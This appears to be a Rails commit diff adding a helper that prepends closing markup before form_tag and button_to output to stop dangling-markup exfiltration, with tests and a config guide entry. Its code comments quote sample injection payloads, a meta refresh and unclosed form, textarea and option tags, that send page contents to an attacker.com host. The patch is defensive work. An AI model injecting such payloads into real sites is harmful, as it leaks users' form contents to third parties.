Add additional content exfiltration prevention to form tags

actionview/lib/action_view/helpers.rb

@@ -12,6 +12,7 @@
 require "action_view/helpers/asset_url_helper"
 require "action_view/helpers/atom_feed_helper"
 require "action_view/helpers/cache_helper"
+require "action_view/helpers/content_exfiltration_prevention_helper"
 require "action_view/helpers/controller_helper"
 require "action_view/helpers/csp_helper"
 require "action_view/helpers/csrf_helper"
@@ -45,6 +46,7 @@ def self.eager_load!
     include AtomFeedHelper
     include CacheHelper
     include CaptureHelper
+    include ContentExfiltrationPreventionHelper
     include ControllerHelper
     include CspHelper
     include CsrfHelper

actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb

@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module ContentExfiltrationPreventionHelper
+      mattr_accessor :prepend_content_exfiltration_prevention, default: false
+
+      # Close any open attributes before each form tag. This prevents attackers from
+      # injecting partial tags that could leak markup offsite.
+      #
+      # For example, an attacker might inject:
+      #
+      #   <meta http-equiv="refresh" content='0;URL=https://attacker.com?
+      #
+      # The HTML following this tag, up until the next single quote would be sent to
+      # https://attacker.com. By closing any open attributes, we ensure that form
+      # contents are never exfiltrated this way.
+      CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
+
+      # Close any open tags that support CDATA (textarea, xmp) before each form tag.
+      # This prevents attackers from injecting unclosed tags that could capture
+      # form contents.
+      #
+      # For example, an attacker might inject:
+      #
+      # <form action="https://attacker.com"><textarea>
+      #
+      # The HTML following this tag, up until the next `</textarea>` or the end of
+      # the document would be captured by the attacker's <textarea>. By closing any
+      # open textarea tags, we ensure that form contents are never exfiltrated.
+      CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
+
+      # Close any open option tags before each form tag. This prevents attackers
+      # from injecting unclosed options that could leak markup offsite.
+      #
+      # For example, an attacker might inject:
+      #
+      # <form action="https://attacker.com"><option>
+      #
+      # The HTML following this tag, up until the next `</option>` or the end of
+      # the document would be captured by the attacker's <option>. By closing any
+      # open option tags, we ensure that form contents are never exfiltrated.
+      CLOSE_OPTION_TAG = "</option>".html_safe.freeze
+
+      # Close any open form tags before each new form tag. This prevents attackers
+      # from injecting unclosed forms that could leak markup offsite.
+      #
+      # For example, an attacker might inject:
+      #
+      # <form action="https://attacker.com">
+      #
+      # The form elements following this tag, up until the next `</form>` would be
+      # captured by the attacker's <form>. By closing any open form tags, we
+      # ensure that form contents are never exfiltrated.
+      CLOSE_FORM_TAG = "</form>".html_safe.freeze
+
+      CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
+
+      def prevent_content_exfiltration(html)
+        if prepend_content_exfiltration_prevention
+          CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
+        else
+          html
+        end
+      end
+    end
+  end
+end

actionview/lib/action_view/helpers/form_tag_helper.rb

@@ -1,6 +1,7 @@
 # frozen_string_literal: true
 
 require "cgi"
+require "action_view/helpers/content_exfiltration_prevention_helper"
 require "action_view/helpers/url_helper"
 require "action_view/helpers/text_helper"
 require "active_support/core_ext/string/output_safety"
@@ -19,6 +20,7 @@ module FormTagHelper
 
       include UrlHelper
       include TextHelper
+      include ContentExfiltrationPreventionHelper
 
       mattr_accessor :embed_authenticity_token_in_remote_forms
       self.embed_authenticity_token_in_remote_forms = nil
@@ -955,7 +957,8 @@ def extra_tags_for_form(html_options)
 
         def form_tag_html(html_options)
           extra_tags = extra_tags_for_form(html_options)
-          tag(:form, html_options, true) + extra_tags
+          html = tag(:form, html_options, true) + extra_tags
+          prevent_content_exfiltration(html)
         end
 
         def form_tag_with_body(html_options, content)

actionview/lib/action_view/helpers/url_helper.rb

@@ -3,6 +3,7 @@
 require "active_support/core_ext/array/access"
 require "active_support/core_ext/hash/keys"
 require "active_support/core_ext/string/output_safety"
+require "action_view/helpers/content_exfiltration_prevention_helper"
 require "action_view/helpers/tag_helper"
 
 module ActionView
@@ -22,6 +23,7 @@ module UrlHelper
       extend ActiveSupport::Concern
 
       include TagHelper
+      include ContentExfiltrationPreventionHelper
 
       module ClassMethods
         def _url_for_modules
@@ -380,7 +382,8 @@ def button_to(name = nil, options = nil, html_options = nil, &block)
                                        autocomplete: "off")
           end
         end
-        content_tag("form", inner_tags, form_options)
+        html = content_tag("form", inner_tags, form_options)
+        prevent_content_exfiltration(html)
       end
 
       # Creates a link tag of the given +name+ using a URL created by the set of

actionview/lib/action_view/railtie.rb

@@ -13,6 +13,7 @@ class Railtie < Rails::Engine # :nodoc:
     config.action_view.image_loading = nil
     config.action_view.image_decoding = nil
     config.action_view.apply_stylesheet_media_default = true
+    config.action_view.prepend_content_exfiltration_prevention = false
 
     config.eager_load_namespaces << ActionView
 
@@ -40,6 +41,11 @@ class Railtie < Rails::Engine # :nodoc:
       end
     end
 
+    config.after_initialize do |app|
+      prepend_content_exfiltration_prevention = app.config.action_view.delete(:prepend_content_exfiltration_prevention)
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = prepend_content_exfiltration_prevention
+    end
+
     config.after_initialize do |app|
       button_to_generates_button_tag = app.config.action_view.delete(:button_to_generates_button_tag)
       unless button_to_generates_button_tag.nil?

actionview/test/template/form_tag_helper_test.rb

@@ -906,6 +906,20 @@ def test_image_label_tag_options_symbolize_keys_side_effects
     assert_equal({ option: "random_option" }, options)
   end
 
+  def test_content_exfiltration_prevention
+    with_prepend_content_exfiltration_prevention(true) do
+      actual = form_tag
+      expected = %(<!-- '"` --><!-- </textarea></xmp> --></option></form>#{whole_form})
+      assert_dom_equal expected, actual
+    end
+  end
+
+  def test_form_with_content_exfiltration_prevention_is_html_safe
+    with_prepend_content_exfiltration_prevention(true) do
+      assert_equal true, form_tag.html_safe?
+    end
+  end
+
   def protect_against_forgery?
     false
   end
@@ -923,4 +937,13 @@ def with_default_enforce_utf8(value)
     ensure
       ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value
     end
+
+    def with_prepend_content_exfiltration_prevention(value)
+      old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value
+
+      yield
+    ensure
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
+    end
 end

actionview/test/template/url_helper_test.rb

@@ -402,6 +402,15 @@ def test_button_to_generates_input_when_button_to_generates_button_tag_false
     ActionView::Helpers::UrlHelper.button_to_generates_button_tag = old_value
   end
 
+  def test_button_to_with_content_exfiltration_prevention
+    with_prepend_content_exfiltration_prevention(true) do
+      assert_dom_equal(
+        %{<!-- '"` --><!-- </textarea></xmp> --></option></form><form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
+        button_to("Hello", "http://www.example.com")
+      )
+    end
+  end
+
   class FakeParams
     def initialize(permitted = true)
       @permitted = permitted
@@ -1036,6 +1045,16 @@ def form_authenticity_token(**)
   def request_forgery_protection_token
     "form_token"
   end
+
+  private
+    def with_prepend_content_exfiltration_prevention(value)
+      old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value
+
+      yield
+    ensure
+      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
+    end
 end
 
 class UrlHelperControllerTest < ActionController::TestCase

guides/source/configuring.md

@@ -66,6 +66,7 @@ Below are the default values associated with each target version. In cases of co
 - [`config.active_support.default_message_verifier_serializer`](#config-active-support-default-message-verifier-serializer): `:json`
 - [`config.action_controller.allow_deprecated_parameters_hash_equality`](#config-action-controller-allow-deprecated-parameters-hash-equality): `false`
 - [`config.log_file_size`](#config-log-file-size): `100.megabytes`
+- [`config.action_view.prepend_content_exfiltration_prevention`](#config-action_view-prepend-content-exfiltration-prevention): `true`
 
 #### Default Values for Target Version 7.0
 
@@ -1527,6 +1528,10 @@ The default value depends on the `config.load_defaults` target version:
 | (original)            | `true`               |
 | 7.0                   | `false`              |
 
+#### `config.action_view.prepend_content_exfiltration_prevention`
+
+Determines whether or not the `form_tag` and `button_to` helpers will produce HTML tags prepended with browser-safe (but technically invalid) HTML that guarantees their contents cannot be captured by any preceding unclosed tags. The default value is `false`.
+
 ### Configuring Action Mailbox
 
 `config.action_mailbox` provides the following configuration options: